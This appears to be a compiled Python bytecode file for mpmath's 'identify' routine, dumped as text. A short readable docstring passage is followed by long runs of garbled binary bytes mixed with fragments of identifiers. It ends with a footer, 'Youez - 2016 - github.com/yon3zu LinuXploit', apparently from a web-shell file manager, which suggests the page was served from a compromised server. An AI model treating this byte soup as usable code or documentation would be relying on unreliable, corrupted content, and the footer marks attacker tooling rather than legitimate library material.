    base constants. Already with 3 or 4 base constants,
    :func:`~mpmath.identify` may require several seconds to finish. To search
    for relations among a large number of constants, you should
    consider using :func:`~mpmath.pslq` directly.

    The extended transformations are applied to x, not the constants
    separately. As a result, ``identify`` will for example be able to
    recognize ``exp(2*pi+3)`` with ``pi`` given as a base constant, but
    not ``2*exp(pi)+3``. It will be able to recognize the latter if
    ``exp(pi)`` is given explicitly as a base constant.

    c�D���rtd|��j|�y)NzFound: )r-r])rH�	solutionsr<s ��r�addsolutionzidentify.<locals>.addsolution�s����E�)�Q�'�����r
r$rmNz-(%s)gffffff�?c3�:�K�|]}|t�|�f���y�wr)�getattr)r�namer8s  �rrzidentify.<locals>.<genexpr>s�����L�4�d�G�C��$5�6�L�s�rrgrc3�2K�|]}t|����y�wrr�r�uws  rrzidentify.<locals>.<genexpr>s����$9��S��W�$9�r r#z/$cz$yrhz$c�.)rr#r�c	3��K�|]@}t�j�j���j|�zd�����By�w)rN)�boolrar�)rrFr`r8s  ��rrzidentify.<locals>.<genexpr>8s6�����P�Q�t�C�L�L������3�6�6�!�9�)<�Q�?�@�P�s�AA	c3�2K�|]}t|����y�wrrr�s  rrzidentify.<locals>.<genexpr><s���� 5�R��R�� 5�r )�key)r/�identify�epsrn�dict�sorted�items�dir�eval�
transformsrr[r,rv�oner*r��replacer-�sumr]r�ror{) r8r	rrr9r:�fullr<r��solrH�Mr�r'�	namespacerc�value�ft�ftn�redr��cnrJr`rqrd�aa�bb�cc�ilogs�logsrFr�s `     `               `        @rr�r�s����j�I��	����
�A�	�A�v�������1�u��l�l�A�2�y�#�x��w�G���;��J��'*�+�!�G�A�I�+�+��S�=� �
��g�g�c�l���g�g�s�l���A���i��&�=C�I�O�O�DU�=V�W�	��q�#�'�'�!�*�d�+�W�I�W��L�3�s�8�L�L�I�:C�D�Q�$�q�)�,�a�0�D�I�D��	�	�I�6�=�D�%��6�6��g�g�a�j�#�&�'�)�3�	�#����C���	�E�A�r��r�S�y���3�q���A��1�v��1��}��A��������!��i�8���!��8�8�#�q�A�A��A��}��$9�q�$9�!9�Q�!>�1�Q�4��q�)�,���H�H�c�g�g�q�!�Q�$�/��a�8���=�S��V�q�[�Q�q�T�!"�J�B��B��3�r�7�3�r�7�3�r�7�3�q�8�+�C��"�R��;�����9�%�3�,����D�!�,�4�4�U�B�?�A����D�!�,�4�4�T�2�>�A��A���I�a�L�0���c�
�9	��@	�A�v������	,�D�A�q��P�%�P�P����S�V�V�A�Y��N�+�	,�-2�2�q������3�q�6�"�2�T�9���H�H�c�f�f�Q�i�[�$�#7�Q�A�a�D�#7�7��a�@���=�S� 5�1� 5�5��:�q��t��
�1�d�+�,��	�!��,���i�S�)�)���S,��X��E��
7�� 9��>3��#7s*�O�6O�8O�O�O�#O!�&O&
�__main__)Nrr!F)r)�__doc__�
libmp.backendr�libmprrr�objectrr[rarervr{r�r�r�r�doctest�testmodrr
r�<module>r�s����
"�(�1�	�F�	�d�L	s�j	��0"�.
�"���#����#����#��]�A�.��]�A�.��]�A�.��.��2��.��2��.��2� �*�a�0� �*�a�0� �*�a�0� �-��3� �-��3� �-��3���q�1���q�1���q�1���q�1���q�1���q�1���a�0���a�0���a�0���a�0���a�0���a�0�7�
�< "�t�d���o�b	"���!)���!)����z����G�O�O��r

Youez - 2016 - github.com/yon3zu
LinuXploit